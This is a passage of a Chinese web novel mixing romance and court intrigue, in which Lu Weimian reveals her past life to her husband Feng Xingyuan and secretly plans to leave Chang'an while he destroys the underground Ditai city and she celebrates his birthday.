鹿微眠这几日的确是知道了很多事情,“我知道。” 慕景怀不多说废话,“我母妃早就被仇恨蒙蔽了双眼和神智,她的心里只有报仇这一件事。” “纵使事情已经过去这么多年,我父皇也已经出兵尽力挽回,可她还是无法释怀。” “她要的是血债血偿,要把大郾和西陵变成一样的不毛之地。” “她也要看到这里的人流离失所,和她一样痛苦才算是结束。” “她太过疯狂。”慕景怀气息越来越沉,“她不只是要毁了江南,也要毁了长安。” “封轸就是她练就的,最利的一把刀。” 鹿微眠这些天即便听了很多,但也没想到慕景怀会提到封行渊,“封行渊跟她有什么关系吗?” “没有什么直接的关系。”慕景怀解释,“只不过当年是她把封轸救回来的,仅此而已。” “她做的很多事情,封轸都不知道,但是我知道。” “眼下这些都不重要,”慕景怀时间紧张,无法细说,“重要的是,她如今以为,封轸是在乎你,所以不肯听命于她。” “她想要再度控制封轸,多半会拿你下手。” 冬日冷风从马车窗口吹入,吹得鹿微眠浑身上下冒出一层鸡皮疙瘩,“怎么拿我下手?” “凭我对她的了解,关乎性命是最差的结果。”慕景怀也不想吓唬她,“倘若不杀你,同样会利用你的性命来威胁封轸。” “威胁他炸了一座城,威胁他带兵进攻,诸如此类,不尽言。” 鹿微眠心下混乱,她知道慕景怀说的话应当是委婉了些。 若是不知侯府曾经对虞念做过什么还好。 如今全部知晓,旧仇加当前的利益关联,虞念对她下多重的手,都不意外。 鹿微眠看向他,“那你为何要帮我?” “我也不是白告诉你这些,我有个条件。”慕景怀看着她,“你帮我,把春莺带走。” 春莺也不能再留在长安。 那会是下一个鹿微眠。 “我有办法送你们离京躲开看守,和我母妃的眼线。你帮我把她照顾好。” “你们离开长安,有多远走多远,千万不要回来。” 第55章 毁掉 大概是慕景怀有点着急, 所以鹿微眠听他说话说得断断续续。 只挑了重点,而忽略了很多细节。 但当下来说,知道重点最要紧。 她也能大概听得出来事情原委, 只是还有一些疑问,“春莺是……” 慕景怀沉默了下,“她是我未过门的妻子, 她对我来说很重要。” “她活我活, 她死我死。” 鹿微眠凝眸。 如果是这样一个人。 无异于慕景怀把他的命都放在了她手里, “你愿意相信我?” 毕竟一刻钟前,她还以为慕景怀跟淑妃一样, 会找她算账, 眼下就要帮她。 这转变太大,鹿微眠接受起来, 还需要一些时间。 慕景怀看着她,“我想赌一次。” “赌你值得我相信。” 相信她是一件自然而然的事情。 从第一次在宫苑里撞见,她探听到自己的秘密, 却始终守口如瓶开始。 他没有逼她闭嘴,也曾经想过,如果她有意泄露出去,那他也不会手软了结了她。 可她没有。 一个能在大殿上与帝王的敷衍抗衡, 说她在乎的是家人朋友,是父亲, 是京城安宁的人。 哪里不值得相信。 * 马车在府苑门口停下来。 钧宜站在马车旁边掀开车帘,等鹿微眠下来。 他们的宅院附近也都是朝官府邸, 每日都能看到来往的同僚官眷。 鹿微眠准备下车时, 正巧一位官眷从对面屋子里出来,“陛下刚刚下旨, 等到开春下江南南巡,我得提前备点去江南的衣裳。” 身边的婢女忙跑上前帮她整理风领,“夫人别急,还有个把月呢。” 鹿微眠身形一僵。 “我听说江南还挺好玩的,就是往年老下雨,一下雨就发洪水根本没法去。”那位官眷语调欢快了些,“今年好了,说是鹿司空带人修了大坝,我们就可以去了。” 鹿微眠下车,走到那位官眷面前打了个照面。 那妇人见她过来笑眯眯地回礼,“封夫人。” 鹿微眠心下思绪万千,“陛下今年下旨要南巡了吗?” 但从她父亲离开的时候,皇帝应当就知道了,江南水坝可能会有隐患。 何况,她昨日才又揭发了那么多事情。 他还要南巡吗? “是啊。”妇人笑着回应,“估摸也就二三月的事了,路上还要走一个来月呢。” 她顺道问着,“诶,你这次去南巡吗,我们可以一起采买。” 鹿微眠摇头,“我还不知道我去不去。” “其实不去也安全些,”那妇人说起正事,“此番南巡游玩是其次,主要是江南连续两年洪灾,民生问题严重导致朝廷失信,动乱和抗争都很严重。” “江南大坝修来是为了解决洪汛问题。” “而南巡一是清查江南官府的治理,二是表示朝廷对民间的支持,去了也是要办正经事的。” 鹿微眠明白这话的意思。 连年灾祸,皇帝越是知道有可能会出事,就越不可能在宫中呆得安稳。 要是今年江南再出事,不仅朝廷说不过去,江南民众也快要反了。 鹿微眠心神不宁地笑了笑,“是啊,夫人前去……要小心。” “借你吉言。”那贵妇人笑着摆了摆手,上街采买。 鹿微眠回身,往府苑走。 所以这一切还是来了。 鹿微眠心不在焉地进院子,思绪被现实的洪流裹挟,久久无法抽身。 她脚下一个不稳,踩空石阶跌了下去! 府苑门口,接连响起一阵惊呼,“夫人!” * 卧房里,暮雨扶着鹿微眠坐在床榻上,在床榻上摆好小几,给她寻了个枕头靠着。 小几上放好了笔墨纸砚。 鹿微眠翻找了一下,又叫暮雨,“你帮我去拿一下我放在柜子上的画。” 暮雨听着鹿微眠的吩咐,在旁边柜子上找到了一个卷轴,“是这个吗?” 她走上前,将卷轴递给鹿微眠。 鹿微眠打开,看到了里面的朱雀尾羽,“是。” 暮雨陪坐在旁边,“夫人都扭着脚了,怎么不好好歇着?” 鹿微眠闻言笑了笑,将画好的那个朱雀尾羽卷轴递给了暮雨,“你去帮我拿到匠铺,跟老板说,是我前阵子找过他的那个单子。” 暮雨还想说什么,但不得不接过来,“好啦,我去帮夫人做,你好好休息。” 暮雨答应着离开了书房。 鹿微眠在床榻上坐了很久,重新拿了一张白纸。 将当下她收集到的所有信息全部写了下来。 她写到一半,面前的光影被遮盖住。 鹿微眠抬头,看见封行渊不知何时站在她面前,“你来了。” 封行渊坐在床脚之处,掀开了被角。 鹿微眠轻轻缩了缩双腿,但还是被他握住足踝,拉了过去,“只是扭了一下而已。” 封行渊不言语。 只看见那白皙雪玉般的踝骨处沁着不太正常的艳红。 她右脚比左脚肿了一圈。 “肿成这样了,还只是扭了一下。” 他手指触碰到她足踝肌肤时,仿佛指尖带电,带过一阵酥麻。 鹿微眠微一蜷缩。 封行渊将她的小动作尽收眼底。 她的身体真有趣,碰哪都有反应。 他不动声色地将一个荷包敷在了上面。 鹿微眠适应了一下,才发现那个里面装着冰,“凉。” 封行渊用冰荷包压着她足踝,“夫人方才去见了谁?” 她身上,有陌生人的香味。 鹿微眠没有否认。 笔在纸张上划了划,点在了“虞念”两个字上,“我见了慕景怀。” 这个名字听来令人意外,“怎么是他。” 鹿微眠应了一声,“慕景怀想要跟我们合作。” 她看着他,“我是不是没有告诉过你,我起先为什么一直觉得有人会毁掉江南水坝,并且一直在找关于慕青辞、我舅舅,到后来是姜崇、虞念的罪证,想要让他们伏法。” 封行渊眉眼微动,“嗯。” 但是他已经有了答案,他们会做相同的梦,那些梦里解释了大半。 鹿微眠还是说了另一件,他从没有想过的事情,“封行渊,你相信有前世今生吗?” 封行渊抬眼。 那双漆黑晦涩的瞳孔深处涌过细微的暗流,“前世?” 事到如今,鹿微眠觉得自己应该跟他坦白,“之前与你说过的很多事情,其实不是梦,是我经历过的上辈子。” “前世,我们也成婚了,只不过……”鹿微眠停顿了一下,“那个时候,我还一心惦记着慕青辞。总以为还能和他有机会,就一直在等他。” 这和他梦里的一样。 封行渊眸色变暗,缓慢握着她的足踝冰敷,听她说话。 “但是后来,我没等到他,我等到了南巡,我父亲负责修缮的大坝垮塌导致江南沉城,在南巡期间帝王在江南洪水驾崩,跟随朝官及当地百姓伤亡数不胜数。” “我舅舅他们借机诬告父亲贪污受贿,修缮工程偷工减料,才酿成大祸。” “慕青辞在皇帝驾崩后登基,以此罪状下令抄斩司空府,迎我舅舅家表妹做皇后。” “正巧,边关出乱,你前往边关路上……因为我的过失,被慕青辞围剿。”鹿微眠眼下,不想隐瞒他什么,但是就这么说出来,她还是有点不安。 鹿微眠轻轻摩挲着手上的笔,感觉那按压她足踝的手果然停住,她佯装镇定地继续,“慕青辞登基的时机并不好,内忧外患,江南灾患尚未平息,外邦又亟待进犯。” “反贼就趁机打进了京城,独占皇宫。” 屋子内沉默了片刻。 鹿微眠抿唇,见他不说话,轻轻踩了一下他的腿,“你生气啦?” 封行渊立马按住她乱踩的脚,“别动。” 鹿微眠以为他不让她动是生气的表现,一边踩一边嘟囔着,“对不起嘛,我真的不是故意的。” “当然,我知道就算我不是故意的,也没办法改变事实,还是我的错。” “你想找我算账,那也是合理的……” 封行渊按紧她乱动的脚,踩得他很奇怪。 “不让你动,是因为这个。” 鹿微眠哽住,规矩老实了一些,小心翼翼地探头看他,“你不生气吗?” 他语调轻快,“不生气。” 因为独占皇宫的就是他。 不仅独占了皇宫,也占了她。 有气也早就讨回来了。 果然,前世的他也不留隔夜气。 这个认知让封行渊很恶劣地心情愉悦。 如果隔夜了,就用无数个夜晚讨回来。 鹿微眠见他真的不生气,心想还得是她的乖乖夫君好脾气。 “所以,我这辈子是不想再让前世的事情发生了,才一直在想办法阻止那些事情发生。” “后来我发现,很多事情,都并非看起来那么简单,谋害我们家,想要我们家破人亡的不是慕青辞,而是虞念。” “也是我昨日与你说的,我猜测虞念筹备了两件事情,一件是江南南巡的灾祸,另一个就是助反贼入京攻占长安。” 封行渊把冰荷包调转了一个方向,重新贴上她脚踝,“那慕景怀找你,是想合作什么?” 鹿微眠犹豫了一下,暂时没提他说虞念想对她做什么的事情。 她当下需要封行渊保持冷静思考的状态,那些事情只会干扰他。 她说了慕景怀跟她提起的解决方案,“他说他知道虞念是如何让大坝损毁的,但是眼下他还在虞念的控制中,只有等他们都南巡了,才有可能出去。” “他会快马加鞭,赶在虞念行动之前,处理掉虞念的线人。阻止大坝损毁,所以江南的事情就交给他。但是京中到时无人镇守,”鹿微眠看着他,“所以,需要你在京城布防,阻止外邦入侵。” 封行渊眼皮跳了一下。 他还以为是多么艰巨的任务。 合着是让他防他自己。 只是封行渊好奇,“慕景怀怎么想到,让我守城?” 这个不是慕景怀想到的,这个是鹿微眠想到的,“眼下京城布防的兵力不是你就是卫沉,你们又交好,没有人比你们更合适守城了。” 说起这个来,鹿微眠想到她一直以来的困惑,“对了,慕景怀跟我提起来,淑妃有可能想要控制你,你们有什么渊源吗?” 封行渊眉眼微动,其中隐情闭口不提,顺着鹿微眠的话说,“没有,兴许是她觉得我管控京中布防,觉得掌控了我更好攻城。” 鹿微眠完全可以理解这样的说法,“可慕景怀说,淑妃曾经救过你。” 封行渊剑眉轻蹙,警觉道,“他还跟你说什么了?” 鹿微眠察觉到他的防备,摇了摇头,“没说别的,他说,只是救过你,仅此而已。” 封行渊眸色晦暗。 冷不丁响起她说的那句,“我不想招惹到那个人,我想离他远远的。” 封行渊垂眸,眼睫遮住眼底暗色,“嗯。” 他没有提具体缘由,只是模糊道,“当初是她把我带来的长安,仅此而已。” “想要我对她唯命是从。” “这样啊。”鹿微眠看他神色不对,心想八成是提起了他的痛苦之处,没有细问。 封行渊出声,“你真的很不希望,长安城有战乱吗?” “哪里有人希望自己从小长到大的家园遭遇战乱的。我的家人朋友和你都在这里,我们家也在这里啊。” “我们还种了花呢,想来等到春日就能开花了。” 鹿微眠问他,“你难道希望我们家被毁吗?” 封行渊诚实道,“不希望。” 是呢,他们的院子还要开花。 长安城,还有他养的花。 “所以呀,”鹿微眠晃了晃双腿,“你留在京城好好看着我们的家。” “当然这件事情也不是那么简单,不过你与卫沉交好,有事多与他商议,应当没有什么问题的。” 封行渊听着她的话锋,“那你呢?” 鹿微眠摇晃双腿的动作缓慢地停了下来。 她迟疑片刻,先含糊过去,“我肯定也在啊。” 说完,鹿微眠就心虚地移开视线。 其实她如今理下来,她暂时离开这里,对事情发展是最好的。 但她还没有想好要怎么跟他说。 鹿微眠认真地问他,“封行渊……” 封行渊抬头,鹿微眠看看那双眼睛愣是没有问出那一句如果她死了。 她把到嘴边的话咽回去,“如果有一天,有人拿我威胁你,要你投降,你会怎么办?” 封行渊平静道,“投降。” 鹿微眠:“……” “你……”鹿微眠有点懵,“你,你也不能……” 她换了个问法,“如果有一天,有人拿我威胁你,要你毁掉一座城,你会怎么办?” “毁掉。” “……” 鹿微眠沉默。 封行渊又问她,“为什么这么问?” 鹿微眠唇线绷直,听到这里愣是不知道该不该跟他说。 她发出了几个无意义的音节,有点心虚,“我就是想得有点多。” 鹿微眠说完,不太死心,“那个,咱们其实可以稍微有一点原则。” “没有你的长安我不想要。” 不如毁了。 封行渊隐掉后半句,他大概知道鹿微眠不想听。 他索性直接道,“谁要拿你威胁我?” 鹿微眠噤声。 她不说,他也知道。 封行渊凝眉,“别怕。你不需要担心这些。” 想要碰她的都得死。 鹿微眠不知道他在想什么,但她不可能不担心。 不管他做什么选择,她不想成为别人的筹码,拿来要挟他。 她是死过一次的人。 她并不怕死,但她不想再连累身边任何一个亲人朋友因此受难。 鹿微眠不想做累赘。 她的前世,他们都死了,只有她活着。 她独自活着的每一天都在想他们。 她想哪怕是,她死了,能换来他们的安稳都是好的。 鹿微眠踟蹰半晌,小声试探着,“我在想,如果我出去躲一躲呢?” 封行渊的语气不容置喙,“你去哪我去哪。” 鹿微眠听着他的口风,轻轻抿唇。 本来她在想,自己要走,总是要告诉他的。 但眼下看来他有点太粘人了,或许先斩后奏会好一些。 没关系啦。 她走之前再给他留消息。 她夫君这般懂事又听话,想必是知道轻重缓急的,守着家里乖乖等她回来。 又不是不回来了。 封行渊仿佛是个嗅觉很敏锐的小兽,“所以你要去哪?” “我不去哪啊,”鹿微眠条件反射地否认,“我就在长安,就在咱们家。” 房间里有片刻的沉寂。 直到她再次开口,“我这辈子,不想再让前世的事情发生了。” 鹿微眠碰了碰他,“你只需要把长安城守好,我不想让长安城出一点岔子,这里有我的一切,我把一切都交给你,这里对我来说很重要。” 封行渊敛眸。 他忽然觉得不太公平。 她的一切有父亲母亲、弟弟,或许还有那什么歆月姐姐,那些朋友,或许还有暮云暮雨孙嬷嬷这些亲信,好多人啊。 但他的一切只是她罢了。 他不知第几次阴暗自私地想,怎么才能让阿眠心里只能装下他呢。 让她眼里、心里、脑袋里、身体里只有他,全部都被他填满。 鹿微眠见他沉默,以为是自己难为到他了。 京城于他无多惠益,说白了这是她自己的事情,她也不好给他太大的压力。 她抿唇,“你要是不愿意的话也无妨,毕竟确实也挺难的。” 封行渊答应着,“我愿意。” 鹿微眠看了他一会儿,挪开面前小几,撑起身子跪坐在他面前抱住他。 她一言不发地埋进他的颈窝。 如果他能守住长安城,那他们就都是安全的。 她在外面怎么样都无所谓了。 * 长安城内白日凌空。 帝台城下血月高悬。 阴暗潮湿的街巷内空无一人。 帝台城的人,白日在长安城里蛰伏,夜里才会入城。 因此白日没有人。 帝台城又叫帝台血夜城,毕竟这里的交易都是血淋淋、贪婪、又暗不见天日的存在。 下城通道突然打开一个缝隙,虞念提步走下去。 一面走一面问着,“你说,哪个城柱断了。” 跟在旁边的侍女回着,“东南角。” 虞念顺着石阶下城,走到帝台城地下城门阁楼上,手按在墙壁一块石砖上,准备先锁城修缮。 石砖被推动,她身后的石门随着轰隆声响而缓慢打开。 密道里一阵阴冷的风卷地而起,从身后吹来。 风声忽然变得尖利,直指她心口! 虞念蓦的回身,袖剑挡住突如其来的剑风,带出凌冽的金属碰撞声响。 长剑滑开。 虞念站定看着出现在这里的封行渊。 周围侍从迅速拔剑上前,他手中的利剑回旋之后又被他长袖一挥,游刃有余地甩了过来,破风而出。 径直刺穿了其中一个侍从的胸膛,将其钉在了墙壁之上。 好巧不巧,撞上了其中一个机关。 虞念倒吸一口凉气,这是她亲自设计的机关,所以她知道,她就站在机关瞄准点位。 周围的机关盒子打开,无数暗箭朝着她飞来! 原本正在攻击封行渊的侍从见状赶忙上前围护在虞念身边。 暗箭细密而尖锐的声响刺激着所有人的耳膜。 一枚短箭被其中一个侍从捕获,再度朝着封行渊刺了过去。 所有刺向虞念的短箭全部调转了方向。 城墙阁楼上一片刀光剑影。 封行渊没有带帮手,在虞念培养的无数死侍之下渐渐被动了起来。 虞念手中长剑忽然间挑开封行渊脸颊一角的面具,几乎是同时,屋内四处烛火灯光大亮! 封行渊眉宇蹙紧,左眼开始迅速的泛起红血丝。 虞念长剑点地,将那枚面具钉在地上,“说过了,孩子你杀不了我。” “你是我看着长大的,我太知道你的弱点了。” 换句话说,他左眼不能见光。 根本不是做药人被灌药使然,是她亲自在他每日喝的药里加了东西,养出来的。 甚至做药人,也根本不是皇后恰好选到了他,封贺恰好把他送过去。 是她暗中提议的。 将世子殿下捡起来、再摧毁打碎,让他重新拼合起来。 成为无坚不摧的存在。 这是他西陵王储的使命。 但是再利的剑。 也得有收刃的剑鞘。 他左眼见光,是钻心蚀骨之痛。 不战而屈人之兵。 是她能一直拿捏的短处。 虞念看着他,“今日怎么没带个帮手?” 封行渊低着头,撑着剑柄,“不需要帮手。” 封行渊缓慢起身,后退几步,扶住了身侧的墙壁石砖。 少年兽瞳血痣深处带过兴奋的光,“上一次,淑妃娘娘在揽星阁打得束手束脚,想来应当很想知道,那自毁机关在哪。” 封行渊一瞬不瞬地看着她,眉梢微扬。 用力按向了那块石砖! 顿时天崩地裂! 阁楼内众人都大惊失色! 帝台城中高悬的血月开始不停摇晃,直至那顶部出现了一道又一道的裂纹。 血月忽然间坠落,无数石块跟随砸落。 脚下的石砖都跟着剧烈地摇晃起来,根本站不住人。 不知谁说了一句,“自毁机关根本不在揽星阁!你骗我们!” 他乖戾声音在轰隆声中格外阴森,“是啊。” 揽星阁地处帝台城平地如何能损毁帝台城。 他将自毁机关装在了帝台城的城墙上。 “亏你们也信。” 青天白日,长安城山林里突然间传来“轰隆”声响。 仿佛山崩地裂,那帝台山是禁区,荒无人烟,但是有一座山坍塌了。 帝台山外的村民闻声好奇的赶了过去,但坍塌过后,也不见其他响动。 鹿微眠坐在书房里,面前摊开了一个布包裹。 她撑着下巴思索该带什么行李走。 封行渊给她填满的衣柜应该也带不了多少。 毕竟可能要走得远一点,带多了行李也不好拿。 她是逃命的,又不是出去游玩的。 况且穿得太招摇也不方便。 鹿微眠想着,选了几件朴素方便行动的衣服放在旁边。 等临走前换洗好带上。 还有…… 带点药吧,万一路上有个什么急情,总是需要的。 鹿微眠拉开了柜子,正挑选着,钧宜从外面走了进来,小声道,“夫人,帝台城自毁了。” 鹿微眠挑选药材的动作停住,“自毁了?” “前两日刚毁的,还是帝台山坍塌,朝廷派人前去搜查发现了压在帝台山下的帝台城。” “是,朝廷的人发现毁掉的,还是……” 钧宜摇头,“应当不是朝廷,朝廷是后来才知道的,听说帝台城地基是被人为自发损坏的。” 自发损坏的。 鹿微眠听着这个消息,心下有些疑惑但反倒是庆幸更多。 那帝台城她虽然去过的次数不多,但每一次去都让她觉得很难受。 那样血腥阴暗,把人当货物来往交易的灰色区域,没了也好。 想来,她总觉得帝台城和那个反贼有关系。 帝台城要是在,她还担心封行渊守着长安,会不会遇到里应外合的谋算。 但眼下这样,她倒是放心多了。 鹿微眠清楚自己几斤几两,战事方面也帮不上什么忙。 留在这里只是会让他多一个担心的软肋,还有可能随时被人拿捏。 不如离开清静。 鹿微眠一面想着,一面放心大胆地整理着自己包裹里的东西。 忽然,门外响起封行渊的声音,“夫人不在房里吗?” 有人回着,“夫人在书房呢。” 鹿微眠心里咯噔一下,看着自己正在打包的包裹。 偏巧,她腿脚现在不太利索,一时间无处可藏。 下一瞬房门打开。 第56章 哄我 鹿微眠慌不择路, 索性一闭眼全都塞给了钧宜。 钧宜手忙脚乱地捧着。 封行渊推开门看到的就是这一幕。 他眉梢微扬,淡然自若地走上前,“怎么了, 钧宜要出门吗?” “对。”鹿微眠抢先一步开口,给钧宜递眼色。 “是。”钧宜反应迅速地找了个借口,“这不是快要开春了, 老爷那边还没有消息, 我出门两天, 请个镖师去江南问问情况。” 封行渊也没有怀疑,他手里拿了一个盒子, 走到鹿微眠面前, “你看。” “这是东昌楼的透花糍,我下值路过瞧着很好看。” 鹿微眠朝钧宜轻轻摆了下手。 钧宜立马抱着包裹, 小心翼翼地先退出了书房。 封行渊坐在她旁边,把盒子打开朝她推了过去。 是糯米皮做成的花朵样式,奶酥底, 花瓣色,果丝点缀。 鹿微眠将注意力收了回来,看到盒子里装着的果子,不由得感叹道, “东昌楼的果子手艺是好啊。” 难怪平日里她晨起的点去买就买不到了。 封行渊与她闲聊着果子。 鹿微眠听着他的口风,“你很喜欢东昌楼的菜品吗?” 封行渊不置可否, “喜欢。” 他说着,瞥见了旁边桌椅上摆放的几套清淡素雅的衣衫。 “怎么把衣服拿出来了?” 鹿微眠沉吟着, 随口道, “我瞧着压箱底了,放了一个冬天有些发霉, 就拿出来晒晒太阳。” 封行渊简单点头,很快就又把注意力放回到果子上。 他提起来,“二月十五,是你的生辰。” 鹿微眠恍惚了一下。 最近总是在忙其他的事情,差点忘了她快要到生辰了。 她是有点意外的,“你还记得啊。” “花朝节。”封行渊轻松道,“二月十五是花朝节,很好记。” 百花的生辰,也是她的生辰。 鹿微眠咬着果子,弯了弯眼睛,复而低头遮盖住眼底的怅然。 因为她计划的,是二月十二走。 先去城郊等慕景怀送春莺出来。 难怪她都忘了自己的生辰。 鹿微眠出神片刻,没注意到果子下面的奶白酥酪沾到了唇角,“今年生辰,简单过就好了。” 她抬头看封行渊,却发现他盯着自己的唇角,眸色晦暗。 偏偏他还能顾上回答她的话,“不能简单过。” 鹿微眠眨了下眼睛,先略过了生辰的事情,而是问道,“我脸上有东西吗?” 封行渊朝她唇角伸手。 鹿微眠先一步注意到了什么,她躲了一下他的手,不想沾脏他,舌尖迅速卷走唇角的奶白酥酪。 随后轻抿唇瓣,再度抬眼的时候,发现封行渊的眸色更暗了几分。 她犹豫道,“还有吗?” 封行渊的手悬在半空中,卡顿了片刻,又乖乖收回。 似有些遗憾地告诉她,“没了。” 他提起正事,“这是我们一起过的第一个生辰,不能简单过。” 鹿微眠想来愧疚,但也不知道该说什么,“我眼下腿脚不太方便,可能也出不去。” “不用出去,在家就好……”封行渊还想说什么,被鹿微眠按下。 鹿微眠抿唇,“今年生辰,我只想和你在一起,其他的什么都不用准备。” 她怕浪费了他的心意。 但这话成功地哄到了封行渊。 他最想要的,就是她抛弃所有人,只跟他在一处。 鹿微眠出声,“我还不知道你的生辰呢,是哪一天?” “我没有生辰。”封行渊自记事以来,没有过过生辰。 没有人帮他记得,或者记得他生辰的人都已经死了。 鹿微眠薄唇微张,不知道是不是自己说错话,提到了他的伤心事。 也是,他这样的生长环境与遭遇,十有八九没有人给他过过生辰。 封行渊自己选了一天,“若一定说要哪一天,就……” “二月初十吧。”鹿微眠鬼使神差地出声,“我先给你过。” 封行渊其实想要选跟她一天。 跟她同生。 也想共死。 “夫人喜欢这一天,* 那我就过这天。” * 华阳宫内,皇帝身边的内侍太监恭恭敬敬地守在院子里,似是在等待什么消息。 不多时,淑妃身边的宫女从屋内走出来,一脸抱歉地回道,“我们娘娘今日还是身体不适,还请公公回禀陛下。” “娘娘这病了几日了,陛下也担心,可请御医来看过了?” “劳烦陛下与公公担心,早就看过了。”宫女客气地回着,“怕给陛下过了病气,就不面圣了。” 内侍太监了然地点了点头,“那还请娘娘好好保重身体。” “若是实在身体不适,开春的南巡,也可不去了。” “南巡是为了江南百姓,眼下皇后娘娘去不了,咱们娘娘是一定得去的。” “况且我们娘娘也只是寻常风寒,休息一阵子就好了。” 内侍太监行礼,“好,有劳。” 宫女将内侍太监送走,折返回大殿内。 殿上,一个侍女小心翼翼地给虞念上药,“世子殿下看起来已经不再受您掌控了。竟然刺杀您不成,就把帝台城毁了。” 虞念没做声,看向门口进来的宫女。 宫女回禀道,“娘娘,人走了。” 虞念沉声,“没发现什么异常?” “没有的,娘娘放心。” 虞念抬手,示意她下去。 回到正题上,“他从来就没有受我掌控过,除非是他年幼,还无法反抗。” 她与封轸从前来往并不多,只是救回来之后,将他送去封府有过短暂的接触。 再就是暗中操作他入宫后,故意安排人欺负他,欺负得浑身是血,才再次出现在他面前。 告诉他,她能教他一个办法,让他成长起来。 就是摄魂术。 封轸从不会主动找她。 见她也是冷言冷语。 这个孩子很聪明。 仿佛知道他的苦难有一部分她的功劳。 至于他什么时候察觉的,虞念不得而知。 她有所察觉的时候,是他学成摄魂术时,操控着第一个宫人拿刀刺向她。 那个七岁小孩,在她的惊愕下,阴鸷邪佞地笑道,“娘娘看我学得好不好。” “他恨我,说明他还不那么傻。” “若是他真把我当个救命恩人一样,我还怕他完不成我的嘱托。” 虞念看着自己手臂上的伤,“不过的确,他长大了,引导他做什么事情就难多了。” “需要一个契机。” 侍女试探着,“您的意思是,他的夫人?” 虞念递给她一个锦囊,“办法我交代给你们。南巡都是朝中重要官员,我替他摆平一切,你们引兵入长安,随时听他的调令。” “娘娘放心。” * 二月里天气就开始转暖。 迎春花和杏花陆续盛开,在层层枯枝之间抽条摇曳。 草地间有些暖融融的鹅黄绿意。 墨宝在花草中穿梭,咬了一朵掉落在草地上的杏花朝着鹿微眠跑了过去。 鹿微眠的扭伤好得比预想中要慢一些,下地走路还有一点点疼,但是小心谨慎些就没事。 墨宝伸着脖子,将杏花一朵一朵摆在了鹿微眠的桌子上。 鹿微眠正在写离开时交给封行渊的书信。 她写到一半又觉得不太妥当,撕掉扔在旁边的炭火盆里。 这会儿炭火盆不知道烧了多少封书信。 鹿微眠叹了口气,一抬头发现墨宝蹲在她面前的窗框上。 歪着脑袋看她在写什么东西。 而她的手边俨然是一朵一朵漂亮的杏花。 鹿微眠伸手蹭了蹭小家伙的下巴。 它舒服地发出咕噜咕噜的声响。 暮云看见,走上前,“这天还是凉的,夫人少吹些风。” 鹿微眠拦她,“你且让我透透气就好,我整日闷在屋子里,都要长毛了。” 暮雨从外面走进来,开心地与她说,“夫人,你叫我去取的东西取回来了。” 院子门口响起封行渊的声音,“取什么?” 鹿微眠将盒子藏了起来,站起来迎他,“去取东昌楼的菜品。” 封行渊看着她藏起那个小盒子,也不追问。 门口钧宜、凌一凌双手里都拎着几个大的食盒。 食盒上面都有大大的“东昌楼”标志。 凌一迫不及待道,“夫人,我们回来了!” 鹿微眠推了推他,“去看看,我点的合不合你心意。” 凌一不知道合不合主子的心意,反正还挺合他心意的。 玫瑰酥山,卯羹,鸭花汤饼,云梦肉…… 凌一一面把东西放到花厅,一面说着,“夫人昨日就去与东昌楼的掌柜定下了这一桌酒席。” 封行渊看着摆在桌上的菜肴,“怎么突然想起来定这些了。” 鹿微眠拉他坐下,“今天说好给你过的生辰,上次我记得你说喜欢东昌楼的菜品。” 鹿微眠撑着下巴,看着凌一和凌双两人拆食盒,观看美食开封也是一件令人赏心悦目的事情。 午膳是家宴,人多热闹。 晚膳只有他们两个。 院子里的人都给了休沐。 他们在房中用晚膳。 桌上温了一壶果酒。 封行渊问她,“时间还早,今晚外面有集市,你也好久没出门了,想出去走走吗?” “不去了。”鹿微眠知道自己的酒量,就只倒了一盏,她今晚不能醉,“我现在,不喜欢太热闹的地方。” “也是,”封行渊戏谑道,“热闹了容易出事。” 鹿微眠有些出神,“我的意思是,我今晚想和你单独呆着。” 少年戏谑笑意收起,静静地看着她。 鹿微眠喝了一盏酒,胆子大了一些,“封行渊,你把眼睛闭上。” 封行渊思量片刻,似乎在判断她要做什么。 但也听着她的话,乖乖把眼睛闭上。 鹿微眠拿出来了那个今天当着他的面藏起来的盒子。 “你今天怎么没有追问我,藏起来的东西是什么。” “夫人想说,会告诉我的。” 鹿微眠垂眸,眼睫在暗夜之中打出一片浓密的剪影,随着她的情绪而振翅扇动。 她隐下脑海中其他的思绪,专注于当下,毕竟也没有几天了,“藏的是给你的生辰礼物。” 鹿微眠递过去。 封行渊看到里面摆放了崭新的一角面具。 上面的花纹是很漂亮的羽毛暗纹样式。 封行渊心下愉悦。 他就说,他的夫人不会对他藏什么坏事情。 他拿过来,“这个花纹很漂亮。” “我画了好多遍呢。”鹿微眠递给他,顺便摘下来他临时补用的面具,“试试看。” 封行渊拿起来,看着上面的细纹,“是羽毛?” “是朱雀的尾羽。”鹿微眠纠正道,“我是对着星星和神话书画的。” 他问,“为什么要对着星星画。” 鹿微眠看向他的眼睛。 封行渊有一瞬间的恍惚,恍惚地回到了很多年前。 他用左眼吓唬她的时候。 她是唯一一个敢直视他左眼的人。 旁人都说,他天生鬼眼异瞳,晦气。 但鹿微眠认真地回答,“你的眼睛很好看,里面像是有星星,会发光。” “大概是因为它本身就有光,所以不需要再见光了。” “还有,你不知道吗,轸,是天上星辰,朱雀的尾羽。” 四周有一瞬的空寂。 安静到能听见回声。 封行渊摩挲着手里的面具,深深地看着她。 鹿微眠打破这些奇奇怪怪的氛围,深吸了一口气,故作轻松地捧住他的脸,“封行渊,生辰快乐。” 封行渊将她的手从自己脸颊上拿下来,俯身覆上她微开的唇。 鹿微眠眼底带过一丝不易察觉的怅惘。 乖乖地默许他探入侵蚀,又生涩地迎合。 她的配合让他察觉到了可以变本加厉的机会,浅尝辄止后是势不可挡的进攻与咬弄。 磨得她在轻微疼痛后又迅速攀上一阵难以言喻的酥麻。 封行渊瞳孔缩紧,晦暗黑瞳仿佛有海浪缓慢地翻涌而上,将她裹挟拖入。 筋骨分明的大手缓慢缠上她的纤腰,向自己按压过来。 将少女压出了细微的嘤咛声。 气息交融,水乳纠缠。 明明是春寒料峭的夜里,但房间内却热得人发懵。 大抵是喝了酒的缘故,鹿微眠总觉得这个吻有些黏人。 一旦沾上,就被缠得怎么也脱不开身。 浑身上下都被黏住,紧贴在他身上。 花瓣碾碎,研磨出沁人心脾的花汁,沾染在唇间。 鹿微眠有很明显的呼吸不畅,心肺满是他身上的清茶香气侵入肺腑带来的充盈感。 她与他那双暗黑异瞳对视,带了讨饶意味。 封行渊很想继续,但怕还是不得不留给她喘息的余地,“夫人不要总是这么哄我。” “我这个人很坏。” “我说过,夫人哄我的话说得越多,日后不想哄了,我要讨回来的也就越多。” 鹿微眠缓了一口气,“这样就算哄你吗?” “你也太好哄了。” 封行渊一直觉得,她把他想得太好了。 让他不得不继续装下去。 如果装乖就能被哄的话。 